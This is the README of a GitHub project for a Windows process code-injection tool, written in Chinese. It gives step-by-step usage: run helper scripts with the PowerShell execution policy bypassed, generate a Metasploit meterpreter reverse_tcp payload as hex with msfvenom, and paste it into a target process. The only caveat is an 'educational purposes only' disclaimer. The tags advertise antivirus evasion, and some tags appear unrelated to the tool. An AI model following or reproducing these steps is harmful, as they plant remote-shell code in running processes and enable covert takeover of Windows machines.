biowalkerdev/windows-codeinjector
GitHub: biowalkerdev/windows-codeinjector
一款 Windows 平台进程代码注入工具,支持将十六进制 payload 注入指定进程,并附带进程真实名称解析脚本。
Stars: 0 | Forks: 0
## 免责声明
**本软件仅供教育目的提供**
作者不纵容、认可或鼓励任何非法活动
用户需自行负责遵守其所在司法管辖区的所有当地法律法规
### 用法
要查找进程的真实名称,你需要进入 scripts 文件夹并运行其中任意一个你方便使用的文件。
该文件夹中有两个 realname-reader 文件,一个是扩展名为 .py、使用 Python 编写的文件,另一个是扩展名为 .ps1、使用 PowerShell 编写的文件。
如果你偏好使用 Python 脚本,请在 scripts 文件夹中打开终端并运行 `realname-reader.py`:
```
python realname-reader.py
```
然后输入任务管理器中显示的、你想要的进程名称。
如果你偏好使用 PowerShell 脚本,请在此文件夹中运行 PowerShell 并执行 `realname-reader_alt.ps1`:
```
powershell -ExecutionPolicy Bypass -File .\realname-reader_alt.ps1
```
输入任务管理器中显示的、你想要的进程名称。
如果输出显示了多个名称,请选择你需要的那个。
现在你需要来自 [Metasploit Framework](https://www.metasploit.com) 的 msfvenom 命令行工具。
在终端中显示可用的 payload 列表:
```
msfvenom -l payloads
```
选择你需要的 payload,并根据所选的 payload 输入所需的参数。
示例:
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f hex
```
显示 payload 参数:
```
msfvenom -p --list-options
```
生成后,复制 hex 字符串
下载并运行 .exe
输入你在运行任意 realname-reader 脚本时所选择的内容。
然后粘贴来自 msfvenom 生成的代码
如果一切顺利,你将看到 Success 消息以及总共写入了多少字节。
### 编译
在 Visual Studio 2022(或更新版本)中打开项目
将构建配置设置为 `Release`
按 `Ctrl + Shift + B` 或点击 `Build` -> `Build Solution` 构建解决方案
编译后的 .exe 将生成在以下文件夹中:
`bin\Release\net10.0\windows-codeinjector.exe`
### 编译要求
- Visual Studio 2022(或更新版本)
- .NET 10 SDK
标签:AI合规, C/C++, SSH蜜罐, 事务性I/O, 免杀辅助, 进程注入, 逆向工具